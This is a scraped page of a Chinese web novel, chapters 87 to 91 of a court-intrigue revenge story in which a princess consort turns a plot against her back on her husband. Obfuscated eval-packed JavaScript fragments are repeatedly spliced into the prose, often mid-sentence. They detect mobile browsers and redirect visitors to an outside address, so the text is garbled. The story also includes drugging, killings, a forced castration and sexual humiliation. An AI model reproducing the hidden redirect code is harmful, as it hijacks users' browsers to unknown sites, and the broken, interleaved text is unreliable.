0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508105|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩情,妾身也会让您放心的。” “不得不说,还是王妃的提议更有吸引力。” 惋惜地长叹一声,谢无咎状若无奈地坐起身来。 下一刻,他又从怀中摸出一个精致的瓷瓶,在叶晚竹面前晃了晃。 “既然如此,那这解毒的丹药倒是能派上几分用场。” 叶晚竹这会儿已经浑身燥热,闻言刚伸出手去,却见谢无咎将瓶口朝下,只倒出一粒落在掌心。 “可惜只有一粒,你我二人,怎么分?”他拖长了音调,似乎十分为难。 “都督大人武艺高超,定不会被这小小香料侵袭,多谢都督赠药。”叶晚竹坦然伸出手去。 谢无咎才进屋不久,不吃这解毒丹也能舒缓。 谢无咎却笑着将丹药举起,朝自己靠近过去。 “王妃的保证很好,但,口说无凭,本督还想要些保证,不过分吧?” 轻声呢喃着,他将那丹药贴在了嘴唇上。 叶晚竹看着他动作。 屋中光线昏暗,她眼前也时而清晰,时而模糊,只有谢无咎那张人神共愤的脸仿若刚出世的美玉,散发着幽幽的光辉。 他不动不语,一双妖孽的凤眸微微眯起,带着笑意,似乎笃定叶晚竹会点头应允。 叶晚竹也确实想这么做。 许是药效的作用,也有可能是她受到这双眼睛的蛊惑。 再次倾身上前,叶晚竹紧盯着谢无咎逐渐变得专注的眼神,一口将那药丸咬走吞下。 谢无咎的指尖收紧一瞬,最终却还是任由叶晚竹动作。 “多谢九千岁。” 她轻声开口,唇瓣擦过谢无咎纤长的手指。 “我想,我们已经达成共识了,是不是?” 谢无咎反手托住叶晚竹的下巴。 “王妃说是,那就是……”他的声音更轻,气息浮动着,带来一阵灼热的温度。 “那就好。” 微微向后仰了仰头,叶晚竹换了个角度,重新对上谢无咎的眼睛。 “九千岁可还坚持得住?”她轻笑一声,“时间紧迫,若您不介意,妾身现在可要想办法,把那个算计我的人揪出来了。” 第八十七章 与一位将军有关 “连流氓的招数都能中,你们俩真是越活越回去了。” 民居之外一片安静,隐月看着脸色不好的隐川和隐风,低声嘲笑。 “王妃对你们是不是太好,让你们连皮都松了,我看不如咱们换换,我去给王妃当差,你们俩赶紧回来练练?” 三人都藏在大树上,隐风隐川闻言对视一眼,憋憋屈屈地都没说话。 他们也没想到,那些流氓会突然使出这样的手段来! 隐月却还没说够,挂在树上又换了个姿势,朝两人指指点点。 “还被流氓关在屋里差点儿出不来,说你们是主子的人,都给我们东厂丢脸!” 他拍着自己的脸颊,一副恨铁不成钢的模样。 “少说风凉话吧你。” 隐川终于忍不住了,“发觉情况不对,我昏迷前分明已经放出了消息,怎的你四五个时辰才来?堂堂东厂总管,找个人也需要这么长时间?” “还得劳动主子出马,”隐风也跟着附和,“到底是谁丢脸?” 被两人质问挤兑,隐月也不着恼,翻了个白眼,还是笑嘻嘻的。 “主子看重景平王妃,你们又不是第一天才知道,再者说,主子想怎么做就怎么做,你们俩,少说这样的话。” 说到最后一句,他面上的笑容忽然消减了几分,眼神也露出警告。 “莫要恃宠生娇。” 上一个敢置喙主子的人是隐竹,想到他,三人同时沉默下去。 “隐翼呢?” 片刻后,隐川重新开了口。 “王妃失踪了整整一日,该隐翼负责报告才对。” 怎么从出事到现在,都不见隐翼的踪影? 隐月的脸色又变了变,嘴角抿成一条线。 “受伤了,还没清醒,”他轻描淡写着,“不好多说。” 能让隐翼受伤的任务,一定是危险又重要的了。 闻言,隐川和隐风都闭上了嘴。 隐月却又道,“我看这件事蹊跷,又赶在这样的时间,你们两人要更加小心——” 正说着,房门开合声伴着脚步一同传来。 三人同时凝神,听见熟悉的哨声,又先后翻过墙头,落在谢无咎和叶晚竹面前。 “主子。” 异口同声着,隐风和隐川还得绷紧了一身的皮。 出了这样大的纰漏,险些让王妃遭遇不测,主子定不会轻饶了他们! “二狗呢?” 出声的人却是叶晚竹。 “书画已经安全了吧?那些流氓在什么地方?”她看着隐风和隐川。 两人微微一愣,随即便低声汇报起来。 隐月毕竟没犯错,大着胆子朝两位主子看去。 九千岁向来赏罚分明,就算隐风隐川现在是王妃的手下,犯了错也不应该被轻轻放过。 可主子却只是一语不发地看着眼前的场景,表情……也看不出任何端倪。 难道是景平王妃拦住了主子? 王妃连这样的事都办得到? 隐月看着叶晚竹的眼神不知不觉震惊起来。 叶晚竹没顾及隐月的注视,她正在听着自己昏迷之后的事情。 自己被带到这间隐蔽的民居,书画三人则是被送到了京郊山间一处破屋里仔细看管。 书画不会武,隐风两人也没有轻举妄动,假装昏迷,听那些流氓说了大半天的话。 原来,连同那赵家的马车和下人在内,今天的一切都是被人安排好的! 正是为了**她! “等到九千岁带人前来,属下等便将那些流氓全部抓住送往都督府,如今二狗也被送去了。” “书画姑娘也在后院休息。并无大碍。” 听着隐川的话,叶晚竹的心倒是放了下去。 她点点头,又看向谢无咎。 “谢过九千岁援手,咱们这就出发吧?” 二狗先前说过,天亮之后,有人会来捉奸,眼下二更已过,她得快些行动。 谢无咎露出一个惯常的笑容,却又显出几分深意。 “全听王妃的安排。” 一炷香的功夫后,一行人回到了都督府中。 前院灯光大盛,隐月先一步回府传信,如今连同二狗在内,一众流氓地痞,还有那个假扮的赵府车夫,都被五花大绑着跪在院里的空地上。 “王妃!王妃啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508106|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见叶晚竹出现,二狗便大声惨叫起来。 “小的要去给您办事的,可是,可是——” 可是他刚出门,就被九千岁的人给抓了! 哀嚎到一半才看见走在一旁的谢无咎,对上这位眉眼弯弯的笑脸,二狗猛地住了口。 “眼珠子都保住了,你还有何不满?”谢无咎背着双手朝他看去,“难道还想问王妃要赏钱?” 二狗又打起了哆嗦,连连摇头。 借他胆子,他也不敢! “来吧。” 叶晚竹也笑着,但比起谢无咎便显得锐利了不少。 “人都在这儿了,”她看向二狗,“是谁让你来的?” 二狗毫不犹豫地伸手一指,“他!他叫柱子!” 一个黑衣侍卫立刻将这叫柱子的流氓拎到叶晚竹面前。 “王,王王……” 柱子俨然已经吓傻了眼,浑身抖若筛糠,连话都说不利索。 他们差点儿糟蹋了的人,竟然是景平王妃? 先不说权力地位,这位可是京中有名的人物啊! 他们惹得起吗? “这就吓得显出原形了?” 叶晚竹抱着双臂,“听好,本王妃只问一遍,找你办事的人,长得是什么模样?” 柱子哆哆嗦嗦地抬起头,眼神绝望,“那人一直坐在屏风之后,我,我没看见他的脸……!” 干这种事,谁会傻到亮出身份来! 对方不说,柱子也不会问,只要银子给够就好了。 他怎么知道对方要绑的人是景平王妃啊! “看来你这对眼睛倒是真没什么作用。” 谢无咎站在一旁,说着话朝隐月挥了挥手,“带走。” 隐月架着凄惨哀嚎的柱子离开,院中的气氛越发显得惨淡。 “我看跟这帮废物是问不出什么来了。” 环顾四周,谢无咎幽幽地叹了口气。 “不过呢,凭借本督的办案经验,此事或许是与一位英武伟岸,又刚受了委屈的大英雄有关。” 叶晚竹闻言心口一动。 “九千岁有几分把握?” “十之**。” 第八十八章 对她不利,就是跟本督对着干 叶晚竹本也就怀疑此事是萧子景所为,谢无咎这话一出,她便冷笑起来。 挨了那么多打,萧子景竟然还学不会夹着尾巴做人! 既然如此,那就只能再继续吃教训了。 三更的梆子声从远处的街上传来,叶晚竹抬头看看明亮的月光,转头便向谢无咎提出告辞。 “时间紧迫,他日得闲,再来向九千岁道谢。” 谢无咎倚着廊柱站立,好似柔弱无骨,闻言微眯着双眼,朝叶晚竹投来一瞥。 “王妃用了就丢,好让本督伤心,我可是要收利钱的。” 这叫什么话? 隐月等人都忍不住偷偷朝主子睨去。 叶晚竹挑了挑眉,回以相同的微笑,“那就请九千岁手下留情了。” 书画这时候刚得到消息,从后院赶来,听见她的脚步声,谢无咎咽下要出口的半句话,朝叶晚竹点了点头。 “王妃,下次见。” 送着叶晚竹一行离开,隐月刚反身回到屋中,便见谢无咎扶着椅背,猛地吐出一大口鲜血。 “主子!”他急忙扑了上去。 “无妨。” 摆了摆手,谢无咎将嘴角血迹抹去,又凝神止住胸中翻涌的紊乱气息。 今日之前,他正在调查梁源。 谢无咎原本只是对这位太仆寺少卿有些怀疑,没想到,隐翼身为东厂一等暗卫,除了户部的正式文书,竟然查不到其他任何有关梁源的信息。 这就不对头了。 等他亲自下场追查,梁源入朝为官之后的记录是真,从前的资料却都是假的。 文**载他出身西北,可那个小镇上唯一一户姓梁的人家只有两个女儿,本地也从未有人听说此处出了个京城的大官。 这位梁大人好像是个忽然出现在京中的人一样。 隐翼带着这条消息回京的路上遭到了袭击,谢无咎与对方过招,这些人竟全都是百里挑一的高手。 他已经很久没有受过伤了。 这梁源到底是什么人? 和那位……有没有关系? 半躺在软椅上,谢无咎闭着眼睛,将手中珠串捻得飞快。 片刻之后,他再睁开双眼,里面已是一片清明。 “隐月,”他淡淡开口,“这段时间隐翼养伤,换你去盯着景平王府。” 隐月顿时一愣。 “这,”他结巴着,“主子身边没人,这怎么好?” “莫非本督是个废物,还需要你们保护不成?” 谢无咎斜晲他一眼,方才的虚弱已经消失,又恢复了那懒洋洋的模样。 隐月见状不再多话,躬身应下。 “外面那些流氓地痞,都处理掉,”他话题一转,“把那个叫二狗的带进来。” 片刻之后,二狗烂泥一样被人拖进了屋中,趴倒3在谢无咎脚边。 不知道这位要干什么,二狗连大气都不敢多喘。 “今天晚上要对王妃动手的人,就是你?” 谢无咎蹲下身子,亲自伸手将二狗的上半身拽了起来。 又是这个要命的差事! 二狗浑身哆嗦,欲哭无泪地又开始陈情求饶。 他要是一早知道这帮蠢货对付的是景平王妃,都不用这些贵人们动手,他自己就去找王妃告密了! “九千岁,小的真什么都不知道啊!”他绝望地嚎着,“小的也是被骗来的!” 谢无咎却笑容可掬,好像只是在闲聊一般。 “这就奇怪了,京城里那么多流氓,你和柱子那帮人又不是一伙,他们叫你干什么?” 二狗的哭声一噎。 流氓地痞也是有派别的,二狗有眼色会来事,能给钱庄干脏活儿,比起只能拦路要钱的柱子之流,往往还神气那么一点儿。 但也仅限于流氓们之间罢了。 九千岁大人高高在上,连这都知道? “难道是因为你最好色?”谢无咎空闲的那只手摸了摸下巴,“凡你干过的差事,那些老板绣娘,没少遭你调戏吧?” 二狗这下彻底没话说了,看着谢无咎的眼神也露出了畏惧。 九千岁这无所不知的名头,也太恐怖了! 拍了一把二狗冰凉的脸,谢无咎身子后仰,随意往地上一坐。 “行了,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515413|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正事,景平王妃是本督翼下之人,敢对她不利,那就是和本督对着干——” 话刚说到这儿,院中忽然传来几声惨叫,伴随着重物落地的扑通扑通声,浓郁的鲜血味道涌进屋子。 二狗梗着脖子,想回头,却一动都动不了。 方才他被带进来的时候,柱子他们还跪在外面…… 谢无咎从院外的小型尸山血海里移回了目光。 “看在王妃愿意相信你办事的份儿上,本督可以留你一命,”他又笑了起来,“不过,你那东西留着,迟早是个麻烦,你觉得呢?” “九,九千岁大人……”二狗咽了咽口水,面上一阵阵地抽动着。 “本督这里缺个人跑腿,二狗公公意下如何啊?”谢无咎又道。 这话有让他拒绝的余地吗? 二狗脸色煞白,打着哆嗦,最终还是俯下身去,“小的谢,谢过主子!” 左右也是捡回一条命,当太监,那就当吧! “真乖。” 谢无咎又眯了眯眼。 “隐月啊,去准备一下,给咱们二狗公公净身!” 隐月再度领命而去,走到后院,却忍不住打了个哆嗦。 方才自家主子那模样,可不像只是对着二狗的啊…… —— 叶晚竹此刻还不知道,她日后会见到一位二狗公公。 她正看着隐风从里面悄无声息地打开了景平王府的大门。 “王妃,”他快走两步,“王爷今晚十分开心,让厨房烧了两荤两素,还开了酒,和阮姨娘吃喝到三更过半,刚歇下不久。” 隐风提前回府调查了一番,叶晚竹闻言笑了笑。 萧子景这是想到明天一早就能对付自己,已经提前乐得找不着北了吧。 阮莹莹也在里面掺了一脚? “王妃,我这就去拿杖子来!”书画瞪圆了一双眼,小脸都涨红了。 不要脸的奸夫**,用那种下作手段害了人,还有心情吃喝玩乐! 叶晚竹却摇了摇头,露出一抹阴恻恻的微笑。 “今晚不用金杖,免得脏了我的东西,有别的办法。” 第八十九章 自食恶果 萧子景今晚的确十分高兴。 计划顺利进行,雇来的流氓已经摸进了叶晚竹所在的屋子,只等他明天带人前去,捉奸在床! 与人苟合可是要被沉塘的,叶晚竹一死,她手里的银子,铺子,马上就要全回到自己手里来了! 萧子景越想越高兴,饮酒作乐一番,不知不觉竟然又起了别的兴致。 难道是他整日求医,终于误打误撞起了作用? 好事成双啊! 他与阮莹莹也好久没有亲热过了,遣退了下人,两人很快就在床上滚成了一团。 “王爷终于来看妾身了,妾身还以为王爷厌弃了我,不想再到春风居来了呢。” 阮莹莹也十分高兴,除掉了叶晚竹,萧子景也恢复了往日的模样,一切都在变好。 萧子景闻言有些内疚,又用力将人抱紧了些。 “怎么会呢,”他压低声音,“都怪前阵子事情太多,脱不开身啊……” 若是没有阮莹莹那天无心的提醒,他也想不到这么好的主意,能速战速决地解决掉叶晚竹! “有你在,本王就心满意足了……” 两人絮絮低语着,窸窸窣窣的声音不断响起。 “莹莹……”越发情动,萧子景的声音也跟着含糊起来,“你吃的苦本王都知道,等叶晚竹一死,本王就上书圣上,扶你做王府正妃!” “王爷……”阮莹莹搂紧了他的脖颈,“妾身无以为报,一定好生伺候您!” “真是感天动地啊。” 二人正是情到浓时,窗外忽然响起了一阵鼓掌声,还没等反应,叶晚竹带着嘲弄的声音便忽然响了起来! 怎么回—— 事! 房门被一把推开,叶晚竹挟了一身霜露水气,大步走了进来! 月光照进屋中,一并将她蓄势待发的疯狂神情照亮! “啊!” 阮莹莹尖叫一声,伸手想扯过被子把自己盖住。 可她随即便发现,自己怎么动不了了! 萧子景也几乎在同一时间发觉了自己的异常,他咬紧牙关,却还是软手软脚地摔倒在床上。 叶晚竹……她怎么在这儿! 而且看上去还好好的! “王爷,阮姨娘,刚才那话怎么不继续说了?” 大步走进屋中,叶晚竹搬了把凳子,一点儿也不见外地在床边坐了下来。 隐风隐川刚一进屋便将各处烛灯点亮,又不曾关门,这会儿屋子里亮如白昼,将一丝不挂的两人照得清清楚楚。 阮莹莹还好些,萧子景趴在床外沿,光裸的曲线简直是一览无余。 “**,你,你做了什么?”他涨红了脸低吼。 与此同时,萧子景还拼命想移动手臂,却还是使不上半点力气! 一阵阵热意又从胸口慢慢地涌现出来,他喘着粗气,神情惊悚。 这好像是…… “上好的合欢散,混了点**,给两位助助兴。” 被萧子景惊慌恐惧的目光注视着,叶晚竹的笑意越发从容。 这还是离开都督府前,她特意问隐月要来的。 “王爷感觉怎么样?” 她弯下身子,摸了一把萧子景的脸。 “这药,比你给那些流氓的如何?” 萧子景原本还在颤动的脸忽然间顿了一下。 他本能地移开了目光,却还在嘴硬,“我不知道你在说什么!” 这**是怎么发现的? 他从来没在那些流氓面前现过身啊! 垂下目光,萧子景紧张地思考着,一双眼珠子转个不停。 “姐姐……!” 阮莹莹的声音这时响起,带着哭腔,好不可怜。 “妹妹能证明王爷与那梁大人没有任何关系,他也不是喜好男色之人!还请姐姐莫要再这般误会侮辱王爷了!” 阮莹莹大半个身子都被萧子景挡住,因而还算冷静。 她抽抽搭搭地说着话,一行眼泪便已经流了出来。 “还请姐姐千万相信王爷啊!” 叶晚竹轻笑一声。 “妹妹的意思是在说,王爷不是断袖,只和你臭味相投,对彼此才能生出这点龌龊下流的心思?” 阮莹莹的脸这下也涨得通红。 “叶晚竹!”萧子景又吼了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515414|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“不许你侮辱莹莹!” “这就叫侮辱?” 叶晚竹嗤笑着,又靠近萧子景几分。 “那王爷今晚准备做的事,又叫什么?” “我怎么不知道自己什么时候多了一个流氓地痞的奸夫?” “萧子景,你现在好歹也是大梁唯一的异姓王,荣华富贵加身,怎么办起事来,还是那个上不了台面的破落户模样?莫非在你心里,你还是只能和流氓地痞抢东西?” 叶晚竹垂着目光看他,语气有些无奈。 “我给你选男人,好歹也是朝中四品呢。” 结果,萧子景就回报给她一个二狗? “你,你这**,你红杏出墙,本王要杀了你!” 萧子景话说得凶悍,语气却已经有些力不从心。 隐月手里的合欢散药效自是非凡,萧子景先前便不知不觉地中过一回,只是自己不知道罢了。 眼下周身麻痒,难耐之意也越发浓厚,萧子景不自觉地在床上蠕动了两下。 叶晚竹的眼底飞快地闪过一丝嫌恶。 “隐风隐川,”她毫不犹豫地站起身,“把王爷抬到外面去,既然喜欢这等下流手段,不让人多看看,他怕是难以满足!” 不是想看她在床上被抓时的丑态,好让她丢人现眼吗? 这种滋味,还是让始作俑者自己尝尝就好了。 隐风隐川二话不说就走上前来。 “你们要干什么?滚,滚开!” 萧子景惊怒地嘶吼着,可惜还是使不上力气,只是蠕动的幅度变大了一点点。 赤身裸体地被从床上抓下来,他喊得越发癫狂,却还是抗拒不了被拖走的下场。 阮莹莹同样光裸的身子一凉,萧子景被带走,她也没了遮蔽! “妹妹?准备好了吗?” 她瞪大双眼看着站在床边,正朝自己挑眉看来的叶晚竹。 下一个,该轮到自己了? “姐姐,”阮莹莹飞快地思考着,一口气说了下去,“这一切都是,都是王爷的意思!他要把你院中那个小姑娘说成是你的野种,还提前安排了人在滴血验亲的时候做手脚!” 第九十章 只要对王妃好! “妹妹这会儿又不想和王爷一条心了?” 听着阮莹莹的供述,叶晚竹明知故问地抬高了声音。 “方才不是还让我相信王爷吗?妹妹的心思未免也变得太快了些。” 阮莹莹神情难堪,楚楚可怜地咬着嘴唇。 她也不想附和叶晚竹! 可不这么做,就要被赤身裸体地拖到外面去…… 阮莹莹又打了个哆嗦。 “我也是身不由己,”她哀哀地看着叶晚竹,“阿竹……” 一句话还没说完,叶晚竹挥起巴掌扇了下去! “别这么叫我,听着恶心。” 收回手,叶晚竹又在床帐上使劲擦了擦。 需要她的时候就是手帕交,好姐妹;嫌她碍事的时候,那就成了**,毒妇! 她一点也不想再要阮莹莹的虚情假意! “王爷啊,你听见了吗?” 后退半步,叶晚竹朗声开口。 “阮姨娘好像没有帮你保守秘密呢。” 阮莹莹瞬间瞪大了双眼,看着方才被叶晚竹挡住的屋子! 萧子景正被抬着站在桌边,并未离开! “你——”她目眦欲裂地朝着叶晚竹看去。 这个**,又来挑拨她和王爷的关系! “隐风,把王爷带走吧。” 叶晚竹终于笑得畅快起来,“妹妹既然帮了我,我也不是是非不分的人;不过这药没有解法,妹妹就在屋中安心休息,等待药效结束好了。” 她本是没想到阮莹莹会出卖萧子景的。 不过,这样更好,狗咬狗的程度要变得更加精彩了。 笑眯了眼,叶晚竹丢下浑身颤抖的阮莹莹,转头关上房门,走到了院中。 萧子景已经被丢在了空地上,天近拂晓,却黑得深沉起来。 叶晚竹又让人拿来火把风灯,围着萧子景摆了一圈,清清楚楚地映出他的丑态。 “**……你这个**!” **还没过去,萧子景浑身动弹不得,只能眼睁睁地承受着这份巨大的侮辱! 他浑身打着哆嗦,难以承受眼前的一切。 “你杀了我好了!”看着抱起双臂,衣冠楚楚的叶晚竹,萧子景忽然一阵悲从中来。 “杀了你?” 叶晚竹有些讶异,随后又笑了起来。 “只是受到这样的对待,王爷就不想活了?那可不行,王爷,你得坚强起来!” 前世她在萧子景手中的遭遇,比这**百倍,千倍! 新账旧账一个都还没算完,她怎么会让他痛痛快快地**呢? “这药不会置人于死地,王爷就耐心受着吧,等养好了身子,再来找我寻仇也不迟。” 眼波流转,叶晚竹笑得兴致盎然,抬脚踢了踢萧子景圆润的屁股。 “妾身等着王爷来报复,王爷可别再让我小瞧你了。” 重新站直身子,叶晚竹这才看向被隐川拎到自己面前,战战兢兢的冬生。 “伺候好王爷,若是王爷有什么差池……你就替他受着。” 叶晚竹一脸的皮笑肉不笑。 冬生咽了咽口水,胆怯的眼神落在自家王爷光裸着的两条大腿上。 若他也被扒光了丢到院子里…… “小的知,知道了!”冷汗直冒,冬生忙不迭地点着头。 叶晚竹又低下头去,笑颜如花。 “王爷,您还想怎么做,妾身随时接招。” 丢下瑟瑟发抖躺在地上的萧子景,叶晚竹回到潇湘院,沐浴更衣后,这才感到一直被极力压制的疲乏一股脑地涌了上来。 她静静地躺在软椅上,闭着双眼,也能感到一阵阵天旋地转。 近来她晕眩的次数越来越多,这可不是个好兆头。 叶晚竹不知不觉间蹙起眉头,又思考起京中的大夫来。 “王妃。” 书画的声音在耳边响起,叶晚竹睁开双眼,对上她一脸担忧的模样。 “王妃怎么不去床上?”她皱了皱眉,“奴婢扶您躺下吧。” 叶晚竹却摇了摇头,只让她再取一枚药来。 就着温水服下药丸,叶晚竹搁下茶杯,余光却看到书画依旧眉头紧蹙,一脸纠结。 “怎么了?”她坐直身子看了过去。 这副模样,瞧着不像是只为了自己的病情。 “王,王妃……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515415|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >触到叶晚竹探询的目光,书画却越发咬紧了嘴唇。 “方才在都督府的时候……”她吞吞吐吐着。 被从那些流氓地痞手中救出,却又听他们说王妃被送到了别处,书画提心吊胆,哪怕在都督府休息,也悬着一颗心。 等她终于听见王妃平安归来的消息,书画一刻也不想等,拔腿便往前院跑去。 然后她就听到了九千岁那句意义不明的话! 王妃还回应了! 不解又好奇,书画转着一双眼珠子,期期艾艾地朝叶晚竹看去。 王妃这是什么意思? 叶晚竹笑着抬手挡在她眼前。 “怎么,你也觉得我有悖伦常?” 那屋里的事情不能说,叶晚竹随口扯了个理由。 掌心的眼睫飞快地扇动几下,书画一把扯下叶晚竹的手,气哼哼地跺了跺脚。 “我可没这么说!王妃想做什么,奴婢都听您的!” 九千岁又怎么了,只要对王妃好就行! 再怎么说,九千岁一直在帮着王妃,不像王爷,变着法地想伤害王妃! 只是…… “王妃,”她又探过头,“您,您不怕被人知道了吗?” 叶晚竹眨了眨眼,“被人知道什么?我和九千岁可是一见如故的好友。” 以两人的身份,莫说他们什么都没做,就算真有什么,说出去,旁人也不会相信。 再者说,为了守护那个秘密,谢无咎一定会将一切遮掩得严严实实的。 想到这儿,叶晚竹忽然正了正脸色。 “此事非同寻常,一旦外泄,恐怕会有性命之忧。” 书画身子一抖,也正色起来,“王妃放心!” 她什么都不会表现出来的! “好了,”叶晚竹见状拍了拍她的手,“天也亮了,你去看看小花醒了没有?” 被萧子景这毒计搅合了一通,直到这会儿,叶晚竹才想起自己要做的事情。 书画连忙去客房走了一遭,很快带回了肯定的答复。 随手拢起长发,叶晚竹来到客房,遣退下人,自己坐到了小花床边。 “我有个问题要问你。” 第九十一章 娘亲,我会帮您! “你愿不愿意当我的孩子?” 小花刚刚醒来不久,眼神本还有些迷茫,叶晚竹的问题显然宛如当头棒喝,直接让小姑娘瞪大了双眼。 “王妃,我,我……” 她结结巴巴,都不知道该说什么好了。 叶晚竹看着她苍白瘦削的小脸。 说起来,她原本并没有这么想,实在是被萧家人的闹腾提了个醒。 不管怎么说,小花帮了她的忙,又得罪了阮莹莹,还被大房盯上,日后恐怕少不了麻烦。 叶晚竹能误打误撞救小花一回两回,可不能次次都如此及时。 不想让萧家人的阴谋得逞,最好的办法就是将她纳入自己的羽翼。 她和小花也算有缘,这孩子聪明又机灵,叶晚竹偶尔会在她身上看到一点自己过去的影子。 跟着自己,小花总不至于再过那小乞丐的日子。 再者说…… 叶晚竹手中的这些铺子和田庄,未来总得有人接手,否则便还是要落到萧延手中去。 叶晚竹从前便有所盘算,只是时机不到,如今碰到小花,倒是可以先培养看看。 萧子景和萧延是她上一世糊涂的意外,而今生,他们不配沾染叶家的一针一线! 收回思绪,叶晚竹看着依旧呆愣的小花,又笑了笑。 “此事不急,你慢慢考虑,若是有什么疑问,都可以随时来问我。” “我,我愿意!” 她话音落下,呆滞了半晌的小花也终于回过神来,急急点起了脑袋。 在景平王府养伤的这段时间,小花除了喝药睡觉,无聊的时候,就拉着屋中的丫鬟和嬷嬷聊天。 左右也有过萧延大闹潇湘院的事情,下人们也没瞒着这伶俐可爱的小姑娘,时至今日,小花已经将王妃和王府的事情,知道得差不多了。 小花听故事听得火冒三丈,双拳紧握,只恨自己那天晚上没有狠狠地在萧延脸上咬一口! 亲生的娘亲都不要! 王妃还对他那么好! 这景平王府里,除了王妃,都是坏人! 小花先前急着想走,正是担心这些坏人会借机生事,可眼下,听了王妃的话,她眼前终于一亮。 要是她来给王妃当女儿,王妃就不是一个人了! 她会帮着王妃对付这些坏人的! “我愿意!”小花想着,又高高挺起了胸膛。 “你可想好了?”叶晚竹眼神认真,“我收养你,你要跟着我姓叶,等过些年头,你我便和萧家,和景平王府不会有半点关系。” 到时候,她不会是景平王妃,小花也不会是王府的小主子。 “那太好了!” 随着伤势恢复,小花那炮仗一般的性子也有所恢复。 她叉着腰,“王妃,咱们啥时候走?” 离这些欺负王妃的人远远的! 叶晚竹轻笑出声,又绕过小花头上的伤口,轻轻地摸了摸她的头发。 “这个不急,萧家人欠我的还多着,我得都收回来才行。” 小花闻言哦了一声,又转了转眼珠子,伸手揪住了叶晚竹的衣裳一角。 “娘,娘亲……” 她不慎熟练地吐出一个称呼,自己先红了一对耳朵。 她没见过自己的亲生母亲,这样的呼唤,小花只在做梦的时候才体验过。 如今,她有母亲了…… “娘亲,你放心,我会和你一起,把欺负你的坏人都赶走!” 叶晚竹低低应了一声,假装没看见小花泛红的眼眶,又摸了摸她半长的头发。 前后两辈子加起来,她可都没有从萧延那里,听到过一句这样贴心的话! 未来的母女二人将此事定下,嬷嬷正巧端来了早上要喝的药。 小花皱眉灌下汤药,大夫却迟迟未到,叶晚竹起身朝外走去。 “怎么回事?”她看着站在门前,欲言又止的小丫鬟。 小丫鬟果儿平日便负责照顾小花的起居,这会儿眉头紧皱,将叶晚竹拉到一边。 “王妃,”她小声道,“吴大夫方才刚一入府,就被春风居那边的人请走了!” 吴大夫每日一登门,就为了给小花诊脉,这段时间已经成了习惯。 王府众人也都知道,没想到今天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522248|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被钻了空子! “春风居的丫鬟提前拦在门外,奴婢去的时候已经晚了!”果儿急得有些想哭。 “都是奴婢办事不力!” 叶晚竹拍了拍她的肩头。 “好了,别紧张,”她同样放轻了声音,“我去看看。” 好在小花的情况已经稳定,吴大夫晚来些也无妨。 而叶晚竹昨夜刚刚收拾了萧子景,正是在春风居中。 这位又出了什么岔子? 还是已经迫不及待地开始下一轮的折腾了? 眼中闪过兴味,叶晚竹带上隐风隐川,又朝着春风居而去。 —— 吴大夫这会儿正盯着床上发起高烧的萧子景,感到自己一脑门子都是官司! “吴大夫,您怎么不说话?王爷他到底怎么样了啊?” 阮莹莹在一旁连声问着话,她脸色憔悴虚白,比起床上的萧子景,似乎也好不到什么地方去。 